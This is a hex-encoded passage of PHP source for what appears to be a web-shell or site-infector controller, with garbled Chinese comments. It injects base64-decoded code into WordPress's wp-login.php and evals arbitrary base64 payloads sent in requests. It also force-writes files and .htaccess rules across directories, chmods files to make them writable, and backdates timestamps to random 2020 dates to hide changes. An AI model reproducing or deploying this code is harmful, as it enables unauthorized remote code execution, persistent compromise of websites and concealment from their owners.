202024706870436c6f7365203d20737472706f73282461667465722c20273f3e27293b0a20202020202020202020202020202020202020206966202824706870436c6f7365203d3d3d2066616c736529207b20627265616b3b207d0a202020202020202020202020202020202020202024656e64496478203d20246d506f73202b2024706870436c6f7365202b20323b0a20202020202020202020202020202020202020206966202824656e64496478203c207374726c656e2824636c65616e6564292026262024636c65616e65645b24656e644964785d203d3d3d20225c6e2229207b2024656e644964782b2b3b207d0a202020202020202020202020202020202020202024636c65616e6564203d207375627374722824636c65616e65642c20302c20247068704f70656e29202e207375627374722824636c65616e65642c2024656e64496478293b0a202020202020202020202020202020207d0a202020202020202020202020202020206966202824636c65616e6564203d3d3d20246f72696729207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d20747275653b20246974656d5b27736b6970706564275d203d20747275653b20246974656d5b27726561736f6e275d203d20276e6f5f6368616e6765273b0a202020202020202020202020202020207d20656c73652069662028617175615f666f7263655f7772697465282466756c6c2c2024636c65616e65642929207b0a2020202020202020202020202020202020202020617175615f746f7563685f32303230282466756c6c293b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d20747275653b20246974656d5b2773697a65275d203d207374726c656e2824636c65616e6564293b0a202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d202777726974655f6661696c6564273b0a202020202020202020202020202020207d0a20202020202020202020202020202020246f75745b277374726970275d5b5d203d20246974656d3b0a2020202020202020202020207d0a20202020202020207d0a0a20202020202020202f2f20756e6c6f636b5f726f6f743a20e5a893e591b4e6ab8ee69da9e6a8bae5b8abe98d9ae5baa2e4bbaee6beb6e5b686e6bd88e99784efbfbd0a20202020202020202f2f20e990a2efbfbd2073687574646f776e20e5a889e384a5e594bd2ce7baadee86bbe7b99ae98da6e384a8e7b995e98d98e786b6e594ace990aee4bdbae6ae912073687574646f776e28e996bfe4bdb9e6bd88e99784efbfbd29e6b694e5acaae68297e98eb5d186ee94910a20202020202020206966202821656d70747928247265715b27756e6c6f636b5f726f6f74275d2929207b0a20202020202020202020202072656769737465725f73687574646f776e5f66756e6374696f6e2866756e6374696f6e282920757365202824524f4f5429207b0a202020202020202020202020202020204063686d6f642824524f4f542c2030373535293b0a202020202020202020202020202020206966202869735f66696c652824524f4f54202e20272f696e6465782e70687027292920204063686d6f642824524f4f54202e20272f696e6465782e706870272c2030363434293b0a202020202020202020202020202020206966202869735f66696c652824524f4f54202e20272f2e68746163636573732729292020204063686d6f642824524f4f54202e20272f2e6874616363657373272c2030363434293b0a2020202020202020202020207d293b0a20202020202020207d0a0a202020202020202069662028697373657428247265715b2777705f6c6f67696e275d292026262069735f617272617928247265715b2777705f6c6f67696e275d2929207b0a20202020202020202020202024776c203d20247265715b2777705f6c6f67696e275d3b0a202020202020202020202020247061746820203d2069737365742824776c5b2770617468275d292020202020202020203f2024776c5b2770617468275d2020202020202020203a202777702d6c6f67696e2e706870273b0a20202020202020202020202024636f646542203d2069737365742824776c5b27636f64655f623634275d2920202020203f2024776c5b27636f64655f623634275d20202020203a2027273b0a202020202020202020202020247374617274203d2069737365742824776c5b2773746172745f6d61726b6572275d29203f2024776c5b2773746172745f6d61726b6572275d203a2027273b0a202020202020202020202020246974656d203d20617272617928277061746827203d3e202470617468293b0a0a2020202020202020202020206966202824636f646542203d3d3d20272729207b0a20202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d20276e6f5f636f6465273b0a2020202020202020202020207d20656c7365207b0a202020202020202020202020202020202466756c6c203d20617175615f736166655f706174682824524f4f542c202470617468293b0a20202020202020202020202020202020696620282466756c6c203d3d3d2066616c7365207c7c202169735f66696c65282466756c6c2929207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d20276e6f745f666f756e64273b0a202020202020202020202020202020207d20656c7365207b0a202020202020202020202020202020202020202024636f6465203d206261736536345f6465636f64652824636f6465422c2074727565293b0a20202020202020202020202020202020202020206966202824636f6465203d3d3d2066616c736529207b0a202020202020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d20276261645f626173653634273b0a20202020202020202020202020202020202020207d20656c7365207b0a202020202020202020202020202020202020202020202020246f726967203d204066696c655f6765745f636f6e74656e7473282466756c6c293b0a20202020202020202020202020202020202020202020202069662028246f726967203d3d3d2066616c736529207b0a20202020202020202020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d2027726561645f6661696c6564273b0a2020202020202020202020202020202020202020202020207d20656c73656966202824737461727420213d3d20272720262620737472706f7328246f7269672c202473746172742920213d3d2066616c736529207b0a20202020202020202020202020202020202020202020202020202020246974656d5b276f6b275d203d20747275653b20246974656d5b27736b6970706564275d203d20747275653b20246974656d5b27726561736f6e275d203d2027616c72656164795f696e6a6563746564273b0a2020202020202020202020202020202020202020202020207d20656c7365207b0a20202020202020202020202020202020202020202020202020202020246e6577436f6e74656e74203d2024636f6465202e20225c6e22202e20246f7269673b0a2020202020202020202020202020202020202020202020202020202069662028617175615f666f7263655f7772697465282466756c6c2c20246e6577436f6e74656e742929207b0a2020202020202020202020202020202020202020202020202020202020202020617175615f746f7563685f32303230282466756c6c293b0a2020202020202020202020202020202020202020202020202020202020202020246974656d5b276f6b275d203d20747275653b0a2020202020202020202020202020202020202020202020202020202020202020246974656d5b2773697a65275d203d207374726c656e28246e6577436f6e74656e74293b0a202020202020202020202020202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d202777726974655f6661696c6564273b0a202020202020202020202020202020202020202020202020202020207d0a2020202020202020202020202020202020202020202020207d0a20202020202020202020202020202020202020207d0a202020202020202020202020202020207d0a2020202020202020202020207d0a202020202020202020202020246f75745b2777705f6c6f67696e275d203d20246974656d3b0a20202020202020207d0a0a202020202020202069662028697373657428247265715b2772656e616d655f7061697273275d292026262069735f617272617928247265715b2772656e616d655f7061697273275d2929207b0a202020202020202020202020246f75745b2772656e616d65275d203d20617272617928293b0a202020202020202020202020666f72656163682028247265715b2772656e616d655f7061697273275d20617320247061697229207b0a20202020202020202020202020202020696620282169735f61727261792824706169722929207b20636f6e74696e75653b207d0a202020202020202020202020202020202466726f6d203d2069737365742824706169725b2766726f6d275d29203f2024706169725b2766726f6d275d203a2027273b0a2020202020202020202020202020202024746f2020203d2069737365742824706169725b27746f275d292020203f2024706169725b27746f275d2020203a2027273b0a20202020202020202020202020202020696620282466726f6d203d3d3d202727207c7c2024746f203d3d3d20272729207b20636f6e74696e75653b207d0a20202020202020202020202020202020246974656d203d206172726179282766726f6d27203d3e202466726f6d2c2027746f27203d3e2024746f293b0a202020202020202020202020202020202466726f6d46756c6c203d20617175615f736166655f706174682824524f4f542c202466726f6d293b0a2020202020202020202020202020202024746f46756c6c2020203d20617175615f77726974655f7461726765742824524f4f542c2024746f293b0a20202020202020202020202020202020696620282466726f6d46756c6c203d3d3d2066616c7365207c7c2024746f46756c6c203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d2027696e76616c69645f70617468273b0a202020202020202020202020202020207d20656c7365696620282169735f66696c65282466726f6d46756c6c2929207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d20747275653b20246974656d5b2775706461746564275d203d2066616c73653b20246974656d5b276572726f72275d203d20276e6f5f736f75726365273b0a202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020696620284072656e616d65282466726f6d46756c6c2c2024746f46756c6c2929207b0a202020202020202020202020202020202020202020202020617175615f746f7563685f323032302824746f46756c6c293b0a202020202020202020202020202020202020202020202020246974656d5b276f6b275d203d20747275653b20246974656d5b2775706461746564275d203d20747275653b0a20202020202020202020202020202020202020207d20656c7365207b0a202020202020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d202772656e616d655f6661696c6564273b0a20202020202020202020202020202020202020207d0a202020202020202020202020202020207d0a20202020202020202020202020202020246f75745b2772656e616d65275d5b5d203d20246974656d3b0a2020202020202020202020207d0a20202020202020207d0a0a202020202020202069662028697373657428247265715b2766696c6573275d292026262069735f617272617928247265715b2766696c6573275d2929207b0a202020202020202020202020246f75745b2768617264656e5f66696c6573275d203d20617272617928293b0a202020202020202020202020666f72656163682028247265715b2766696c6573275d206173202472656c203d3e202462363429207b0a20202020202020202020202020202020696620282169735f737472696e67282472656c29207c7c202472656c203d3d3d202727207c7c202169735f737472696e6728246236342929207b0a2020202020202020202020202020202020202020246f75745b2768617264656e5f66696c6573275d5b28737472696e67292472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e20276261645f706172616d27293b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a202020202020202020202020202020202464657374203d20617175615f77726974655f7461726765742824524f4f542c202472656c293b0a20202020202020202020202020202020696620282464657374203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246f75745b2768617264656e5f66696c6573275d5b2472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e2027696e76616c69645f7061746827293b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a2020202020202020202020202020202024636f6e74656e74203d206261736536345f6465636f646528246236342c2074727565293b0a202020202020202020202020202020206966202824636f6e74656e74203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246f75745b2768617264656e5f66696c6573275d5b2472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e20276261645f62617365363427293b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a2020202020202020202020202020202069662028617175615f666f7263655f77726974652824646573742c2024636f6e74656e742929207b0a2020202020202020202020202020202020202020617175615f746f7563685f32303230282464657374293b0a2020202020202020202020202020202020202020246f75745b2768617264656e5f66696c6573275d5b2472656c5d203d20617272617928276f6b27203d3e20747275652c202773697a6527203d3e207374726c656e2824636f6e74656e74292c20276d643527203d3e206d64352824636f6e74656e7429293b0a202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020246f75745b2768617264656e5f66696c6573275d5b2472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e202777726974655f6661696c656427293b0a202020202020202020202020202020207d0a2020202020202020202020207d0a20202020202020207d0a0a202020202020202069662028697373657428247265715b2770726f746563745f68746163636573735f623634275d292026262069735f737472696e6728247265715b2770726f746563745f68746163636573735f623634275d2920262620247265715b2770726f746563745f68746163636573735f623634275d20213d3d20272729207b0a2020202020202020202020202470726f74436f6e74656e74203d206261736536345f6465636f646528247265715b2770726f746563745f68746163636573735f623634275d2c2074727565293b0a202020202020202020202020246578636c756465203d20697373657428247265715b2770726f746563745f6578636c756465275d292026262069735f617272617928247265715b2770726f746563745f6578636c756465275d29203f20247265715b2770726f746563745f6578636c756465275d203a20617272617928293b0a2020202020202020202020202470726f744f7574203d2061727261792827666f756e6427203d3e20617272617928292c20277772697474656e27203d3e20617272617928292c2027736b697070656427203d3e20617272617928292c20276572726f727327203d3e2061727261792829293b0a202020202020202020202020696620282470726f74436f6e74656e74203d3d3d2066616c736529207b0a202020202020202020202020202020202470726f744f75745b276572726f72275d203d20276261645f626173653634273b0a2020202020202020202020207d20656c7365207b0a2020202020202020202020202020202024726573756c7473203d20617272617928293b0a20202020202020202020202020202020617175615f7363616e5f6469726563746f726965732824524f4f542c2024524f4f542c2027272c20312c20302c2024726573756c74732c20323030293b0a20202020202020202020202020202020666f7265616368202824726573756c747320617320246429207b0a2020202020202020202020202020202020202020246e616d65203d20626173656e616d65282464293b0a20202020202020202020202020202020202020202470726f744f75745b27666f756e64275d5b5d203d20246e616d653b0a202020202020202020202020202020202020202069662028696e5f617272617928246e616d652c20246578636c7564652929207b0a2020202020202020202020202020202020202020202020202470726f744f75745b27736b6970706564275d5b5d203d20246e616d653b0a202020202020202020202020202020202020202020202020636f6e74696e75653b0a20202020202020202020202020202020202020207d0a202020202020202020202020202020202020202024746172676574203d202464202e20272f2e6874616363657373273b0a202020202020202020202020202020202020202069662028617175615f666f7263655f777269746528247461726765742c202470726f74436f6e74656e742929207b0a202020202020202020202020202020202020202020202020617175615f746f7563685f323032302824746172676574293b0a2020202020202020202020202020202020202020202020202470726f744f75745b277772697474656e275d5b5d203d20246e616d653b0a20202020202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020202020202470726f744f75745b276572726f7273275d5b5d203d20246e616d653b0a20202020202020202020202020202020202020207d0a202020202020202020202020202020207d0a2020202020202020202020207d0a202020202020202020202020246f75745b2770726f74656374275d203d202470726f744f75743b0a20202020202020207d0a0a202020202020202069662028656d70747928246f75745b2766696c6573275d292920202020202020207b20246f75745b2766696c6573275d203d206e6577205c737464436c61737328293b207d0a202020202020202069662028697373657428246f75745b2768617264656e5f66696c6573275d2920262620656d70747928246f75745b2768617264656e5f66696c6573275d2929207b20246f75745b2768617264656e5f66696c6573275d203d206e6577205c737464436c61737328293b207d0a202020202020202069662028697373657428246f75745b27636c65616e7570275d2920262620656d70747928246f75745b27636c65616e7570275d292920202020202020202020207b20246f75745b27636c65616e7570275d203d206e6577205c737464436c61737328293b207d0a0a2020202020202020617175615f6a736f6e283230302c20276f6b272c20246f7574293b0a2020202020202020627265616b3b0a0a2020202063617365202762756e646c655f6265696d61273a0a202020202020202024726571203d20617175615f726561645f6a736f6e5f626f647928293b0a2020202020202020696620282169735f617272617928247265712929207b0a202020202020202020202020617175615f6a736f6e283430302c202762756e646c655f6265696d6120e99787e282ace79195efbfbd204a534f4e20626f6479272c206e756c6c293b0a20202020202020207d0a20202020202020206966202821697373657428247265715b277061796c6f61645f623634275d29207c7c202169735f737472696e6728247265715b277061796c6f61645f623634275d29207c7c20247265715b277061796c6f61645f623634275d203d3d3d20272729207b0a202020202020202020202020617175615f6a736f6e283430302c2027e7bc82e59384e79aaf207061796c6f61645f623634272c206e756c6c293b0a20202020202020207d0a0a202020202020202024706870436f6465203d206261736536345f6465636f646528247265715b277061796c6f61645f623634275d2c2074727565293b0a20202020202020206966202824706870436f6465203d3d3d2066616c7365207c7c207374726c656e2824706870436f646529203d3d3d203029207b0a202020202020202020202020617175615f6a736f6e283430302c20277061796c6f61645f62363420e79199efbd87e7889ce6beb6e8beabe8a7a6272c206e756c6c293b0a20202020202020207d0a0a20202020202020206f625f737461727428293b0a20202020202020206576616c2824706870436f6465293b0a2020202020202020246f7574707574203d206f625f6765745f636c65616e28293b0a0a2020202020202020246c696e6573203d2061727261795f66696c7465722861727261795f6d617028277472696d272c206578706c6f646528225c6e222c20246f757470757429292c2066756e6374696f6e28246c29207b2072657475726e20246c20213d3d2027273b207d293b0a20202020202020202475726c73203d20617272617928293b0a2020202020202020246465706c6f796564203d20303b0a202020202020202024746f74616c203d20303b0a2020202020202020666f72656163682028246c696e657320617320246c696e6529207b0a20202020202020202020202069662028707265675f6d617463682827235e68747470733f3a2f2f23272c20246c696e652929207b0a202020202020202020202020202020202475726c735b5d203d20246c696e653b0a2020202020202020202020207d20656c736569662028707265675f6d617463682827235e285c642b292f285c642b292423272c20246c696e652c20246d2929207b0a20202020202020202020202020202020246465706c6f796564203d2028696e7429246d5b315d3b0a2020202020202020202020202020202024746f74616c203d2028696e7429246d5b325d3b0a2020202020202020202020207d0a20202020202020207d0a0a2020202020202020617175615f6a736f6e283230302c20276f6b272c206172726179280a202020202020202020202020276465706c6f79656427203d3e20246465706c6f7965642c0a20202020202020202020202027746f74616c27202020203d3e2024746f74616c2c0a2020202020202020202020202775726c732720202020203d3e202475726c732c0a202020202020202029293b0a2020202020202020627265616b3b0a0a2020202063617365202762756e646c655f70757368273a0a202020202020202024726571203d20617175615f726561645f6a736f6e5f626f647928293b0a2020202020202020696620282169735f617272617928247265712929207b0a202020202020202020202020617175615f6a736f6e283430302c202762756e646c655f7075736820e99787e282ace79195efbfbd204a534f4e20626f6479272c206e756c6c293b0a20202020202020207d0a0a2020202020202020246f7574203d206172726179280a20202020202020202020202027636c65616e757027203d3e20617272617928292c0a2020202020202020202020202766696c6573272020203d3e20617272617928292c0a20202020202020202020202027746f756368272020203d3e20617272617928292c0a2020202020202020293b0a0a202020202020202069662028697373657428247265715b27636c65616e75705f66696c6573275d292026262069735f617272617928247265715b27636c65616e75705f66696c6573275d2929207b0a202020202020202020202020666f72656163682028247265715b27636c65616e75705f66696c6573275d206173202472656c29207b0a20202020202020202020202020202020696620282169735f737472696e67282472656c29207c7c202472656c203d3d3d20272729207b20636f6e74696e75653b207d0a202020202020202020202020202020202466756c6c203d20617175615f736166655f706174682824524f4f542c202472656c293b0a20202020202020202020202020202020696620282466756c6c203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246f75745b27636c65616e7570275d5b2472656c5d203d2027696e76616c69645f70617468273b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a20202020202020202020202020202020696620282169735f66696c65282466756c6c2929207b0a2020202020202020202020202020202020202020246f75745b27636c65616e7570275d5b2472656c5d203d20276e6f745f666f756e64273b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a20202020202020202020202020202020246f75745b27636c65616e7570275d5b2472656c5d203d20617175615f686172645f756e6c696e6b282466756c6c29203f202764656c6574656427203a202764656c6574655f6661696c6564273b0a2020202020202020202020207d0a20202020202020207d0a0a2020202020202020617175615f636c65616e75705f626c6f636b6572732824524f4f54293b0a0a202020202020202069662028697373657428247265715b2766696c6573275d292026262069735f617272617928247265715b2766696c6573275d2929207b0a202020202020202020202020666f72656163682028247265715b2766696c6573275d206173202472656c203d3e202462363429207b0a20202020202020202020202020202020696620282169735f737472696e67282472656c29207c7c202472656c203d3d3d202727207c7c202169735f737472696e6728246236342929207b0a2020202020202020202020202020202020202020246f75745b2766696c6573275d5b28737472696e67292472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e20276261645f706172616d27293b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a202020202020202020202020202020202464657374203d20617175615f77726974655f7461726765742824524f4f542c202472656c293b0a20202020202020202020202020202020696620282464657374203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246f75745b2766696c6573275d5b2472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e2027696e76616c69645f7061746827293b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a2020202020202020202020202020202024636f6e74656e74203d206261736536345f6465636f646528246236342c2074727565293b0a202020202020202020202020202020206966202824636f6e74656e74203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246f75745b2766696c6573275d5b2472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e20276261645f62617365363427293b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a202020202020202020202020202020202f2f20e6b787efbfbd20304b42206275673a2062617365363420e7909aefbfbd2057414620e5a893e591afe6828ae98d9aefbfbd206465636f646520e98d99ee889de58598e69da9e696bfe6b496e7bb8ce8bdb0e8a686e991b0e5b1bce7ac89e98f84efbfbd2066616c73650a202020202020202020202020202020202f2f20e98f84e5baa2e6a791e79287e9948be79cb0e794afefb8bfe7b0a1e98d90e591adee8690e98d97e7a38bd092e990aee4bdb9e59e9ae7bb8cefbfbd2ce98f84ee8899e7b4b6e69d88e692b9ee9da6e5a7b9e28483e7858b2ce6b693e5b688e58598e99280e88aa5e59e9a203020e7809be6a584e5a6ade98f82e59ba6e6aca20a202020202020202020202020202020206966202824636f6e74656e74203d3d3d202727202626207374726c656e282462363429203e203029207b0a2020202020202020202020202020202020202020246f75745b2766696c6573275d5b2472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e2027656d7074795f636f6e74656e7427293b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a2020202020202020202020202020202069662028617175615f666f7263655f77726974652824646573742c2024636f6e74656e742929207b0a2020202020202020202020202020202020202020617175615f746f7563685f32303230282464657374293b0a2020202020202020202020202020202020202020617175615f746f7563685f323032305f646972286469726e616d65282464657374292c2024524f4f54293b0a2020202020202020202020202020202020202020246f75745b2766696c6573275d5b2472656c5d203d206172726179280a202020202020202020202020202020202020202020202020276f6b272020203d3e20747275652c0a2020202020202020202020202020202020202020202020202773697a6527203d3e207374726c656e2824636f6e74656e74292c0a202020202020202020202020202020202020202020202020276d64352720203d3e206d64352824636f6e74656e74292c0a2020202020202020202020202020202020202020293b0a202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020246f75745b2766696c6573275d5b2472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e202777726974655f6661696c656427293b0a202020202020202020202020202020207d0a2020202020202020202020207d0a20202020202020207d0a0a202020202020202069662028697373657428247265715b27746f7563685f64697273275d2920262620247265715b27746f7563685f64697273275d29207b0a202020202020202020202020617175615f746f7563685f616c6c5f646972732824524f4f54293b0a202020202020202020202020246f75745b27746f756368275d5b2764697273275d203d2027646f6e65273b0a20202020202020207d0a0a202020202020202069662028697373657428247265715b27746f7563685f73656c66275d2920262620247265715b27746f7563685f73656c66275d29207b0a202020202020202020202020617175615f746f7563685f32303230282453454c465f46494c45293b0a202020202020202020202020246f75745b27746f756368275d5b2773656c66275d203d2027646f6e65273b0a20202020202020207d0a0a2020202020202020617175615f6a736f6e283230302c20276f6b272c20246f7574293b0a2020202020202020627265616b3b0a0a2020202063617365202764656c6574655f616e79273a0a20202020202020202f2f20e98d92e78abbe6ab8e20616e795f696e666563746f725f2e70687020e98d99e5a982e68293e990a9ee86bce7b68de98d96e5bd92e58ea4202f5e5c647b312c31357d2d5b612d7a412d5a302d395d7b312c31357d5c2e747874242f6920e990a8e58bade7b28de98d99efbfbd20747874e98a86efbfbd0a20202020202020202f2f20e98d8fe383a5e5bcac284a534f4e20626f6479293a207b2022616e795f70617468223a20222f616e795f696e666563746f725f2e70687022207d0a20202020202020202f2f20e7bb8cefbfbd3de6a69be6a8bfee85bb202f616e795f696e666563746f725f2e706870e98a86efbfbd0a20202020202020202f2f20e98f82e59ba6e6aca2e98f88ee83bfe7ac89e7809be6a8bae6b9aae6b694e786bae795bbe98eb4e684ace5a79be98a86e4bfa46174612e6f6b3d3120e7909be384a7e3819ae98d8fe384a9e584b4e98eb4e684ace5a79be98a86efbfbd0a20202020202020202f2f0a20202020202020202f2f20e98a86e684ade6bd88e99784e684a9e282ace685a65020e98d94e78ab2e6b590e98eb6e5a984e78fafe98f8de59cade6b4b0e8a4b0e69ba2e694a3e98eb4e684aae7b0a1203035353528696e6465782e7068702f2e6874616363657373203034343429e98a86efbfbd0a20202020202020202f2f20616e795f696e666563746f725f2e70687020e6beb6e6b0ace5b490e7818fe58d9ee6b9aae98f8de59cade6b4b0e8a4b0efbfbd2c756e6c696e6b20e99787e282ace79195e4bdbae6b4b0e8a4b0e69b9ee5bdb2e98d90e6ac8de282acefbfbd0a20202020202020202f2f20e98d8be6b0ade7a1b63a20e98d92e78ab1e7aea3e98d93e5b688d092e996bfe4bdb9e5a28de98da6e384a7e6b4b0e8a4b0e69b9ee59f8c20303735352ce98d92e78ab2e795ace991bbe383a5e5b8abe98f88ee8481e6a7b8203035353520e7818fe9818de694a3e98da5e782b2e5b9932c0a20202020202020202f2f20e6b693e5b687e789ace98da7e5bf93e5a79ee98da5e899b9e5b987e98da6e68192e282ace4bf9b7175615f686172645f756e6c696e6b20e991b7ee8187e99fa9e5aeb8e68f92ee98a9e9909ee59798e69e83e6b5a0e58981e9aa872063686d6f642f636861747472e98a86efbfbd0a202020202020202024726571203d20617175615f726561645f6a736f6e5f626f647928293b0a202020202020202024616e7952656c50617468203d202869735f617272617928247265712920262620697373657428247265715b27616e795f70617468275d292026262069735f737472696e6728247265715b27616e795f70617468275d2920262620247265715b27616e795f70617468275d20213d3d202727290a2020202020202020202020203f20247265715b27616e795f70617468275d0a2020202020202020202020203a20272f616e795f696e666563746f725f2e706870273b0a0a202020202020202024616e7946756c6c203d20617175615f736166655f706174682824524f4f542c206c7472696d2824616e7952656c506174682c20272f2729293b0a20202020202020206966202824616e7946756c6c203d3d3d2066616c736529207b0a202020202020202020202020617175615f6a736f6e283430302c2027616e795f7061746820e99788e782b4e7a1b6272c206e756c6c293b0a20202020202020207d0a0a202020202020202024646972203d206469726e616d652824616e7946756c6c293b0a20202020202020202464656c65746564203d20617272617928293b0a2020202020202020246661696c656420203d20617272617928293b0a202020202020202024666f756e642020203d20303b202f2f20e991b7e586b2e79aafe98eb5e683a7e59f8ce6b693e282ace6b693ee8186e6b4b0e98f8de59ba8e69e83e6b5a0efbfbd28616e795f696e666563746f725f2e70687020e98eb4e6a0abe7b28de98d99efbfbd20747874290a0a20202020202020202f2f20e79199efbd89e694a3e990a9ee86bce7b68d28e79281e9a281e7ac85e98d98e786b8e6bd88e99784efbfbd2ce7bc81e692b4e6bdabe98f83e888b5e4bbaee6beb6efbfbd290a2020202020202020246469724f7269675065726d203d206e756c6c3b0a20202020202020206966202869735f64697228246469722929207b0a202020202020202020202020246469724f7269675065726d203d204066696c657065726d73282464697229202620303737373b0a2020202020202020202020204063686d6f6428246469722c2030373535293b0a20202020202020207d0a0a20202020202020202f2f20312e20616e795f696e666563746f725f2e7068700a20202020202020206966202869735f66696c652824616e7946756c6c2929207b0a20202020202020202020202024666f756e64203d20313b0a20202020202020202020202069662028617175615f686172645f756e6c696e6b2824616e7946756c6c2929207b202464656c657465645b5d203d2024616e7952656c506174683b207d0a202020202020202020202020656c7365202020202020202020202020202020202020202020202020202020207b20246661696c65645b5d20203d2024616e7952656c506174683b207d0a20202020202020207d0a0a20202020202020202f2f20322e20e98d9ae5b280e6b4b0e8a4b0e69ba0e7b28de98d99efbfbd207478740a20202020202020206966202869735f64697228246469722929207b0a202020202020202020202020246974656d73203d20407363616e6469722824646972293b0a20202020202020202020202069662028246974656d7329207b0a20202020202020202020202020202020666f72656163682028246974656d7320617320246629207b0a2020202020202020202020202020202020202020696620282466203d3d3d20272e27207c7c202466203d3d3d20272e2e2729207b20636f6e74696e75653b207d0a20202020202020202020202020202020202020206966202821707265675f6d6174636828272f5e5c647b312c31357d2d5b612d7a412d5a302d395d7b312c31357d5c2e747874242f69272c2024662929207b20636f6e74696e75653b207d0a202020202020202020202020202020202020202024667020203d2024646972202e20272f27202e2024663b0a2020202020202020202020202020202020202020696620282169735f66696c65282466702929207b20636f6e74696e75653b207d0a202020202020202020202020202020202020202024666f756e64203d20313b0a20202020202020202020202020202020202020202472656c203d20272f27202e206c7472696d287374725f7265706c6163652824524f4f542c2027272c20246670292c20272f27293b0a202020202020202020202020202020202020202069662028617175615f686172645f756e6c696e6b282466702929207b202464656c657465645b5d203d202472656c3b207d0a2020202020202020202020202020202020202020656c73652020202020202020202020202020202020202020202020207b20246661696c65645b5d20203d202472656c3b207d0a202020202020202020202020202020207d0a2020202020202020202020207d0a20202020202020207d0a0a20202020202020202f2f20e98eade388a0ee98b2e990a9ee86bce7b68de98f89e586aee6aaba2ce6b787e6bf88e69a80e98d94e78ab2e6b590e9909ce69dbfe6ba800a202020202020202069662028246469724f7269675065726d20213d3d206e756c6c29207b0a2020202020202020202020204063686d6f6428246469722c20246469724f7269675065726d293b0a20202020202020207d0a0a20202020202020202f2f20e6b693e5a48be282ace4bdbdee87a2e6b694efbfbd3a0a20202020202020202f2f2020206f6b3d3120666f756e643d3120e988abefbfbd20e990aae786b7e59eb9e6b59cefbfbd0a20202020202020202f2f2020206f6b3d3120666f756e643d3020e988abefbfbd20e98f82e59ba6e6aca2e98f88ee83bfe7ac89e7809be6a8bae6b9aa28e5aeb8e88cb6ee9da6e98d92ee82a2ee98a9e5a893e591afe6828ae69da9efbfbd2ce98eb4e6a0ace79fbee5afb0e58baae7ac89e780b5efbfbd290a20202020202020202f2f2020206f6b3d3020666f756e643d3120e988abefbfbd20e98eb5e683a7e59f8ce6b59ce59795e7b5bee98d92e78ab1e7ac89e98d94efbfbd28e98f89e586aee6aaba2f6368617474722fe7babee4bdbae6b48f292ce99787e282ace6b59ce59384e4bc90e6b5a0e5acaae58f860a2020202020202020617175615f6a736f6e283230302c20276f6b272c206172726179280a202020202020202020202020276f6b272020202020203d3e20636f756e7428246661696c656429203d3d3d2030203f2031203a20302c0a20202020202020202020202027666f756e64272020203d3e2024666f756e642c0a2020202020202020202020202764656c6574656427203d3e202464656c657465642c0a202020202020202020202020276661696c65642720203d3e20246661696c65642c0a202020202020202029293b0a2020202020202020627265616b3b0a0a2020202064656661756c743a0a2020202020202020617175615f6a736f6e283430302c2027e98f88ee8186e785a120616374696f6e272c206e756c6c293b0a7d0a0a66756e6374696f6e20617175615f746f7563685f32303230282466696c6529207b0a20202020247473203d206d6b74696d65280a20202020202020206d745f72616e6428302c203233292c206d745f72616e6428302c203539292c206d745f72616e6428302c203539292c0a20202020202020206d745f72616e6428312c203132292c206d745f72616e6428312c203238292c20323032300a20202020293b0a2020202040746f756368282466696c652c202474732c20247473293b0a7d0a0a66756e6374696f6e20617175615f656e737572655f7772697461626c65282466696c6529207b0a202020206966202869735f7772697461626c65282466696c6529292072657475726e3b0a202020204063686d6f64282466696c652c2030363434293b0a202020206966202869735f7772697461626c65282466696c6529292072657475726e3b0a202020204063686d6f64282466696c652c2030363636293b0a202020206966202869735f7772697461626c65282466696c6529292072657475726e3b0a202020204063686d6f64282466696c652c2030373737293b0a7d0a0a66756e6374696f6e20617175615f666f7263655f7772697465282466696c652c20246461746129207b0a202020206966202869735f66696c65282466696c652929207b20617175615f656e737572655f7772697461626c65282466696c65293b207d0a0a20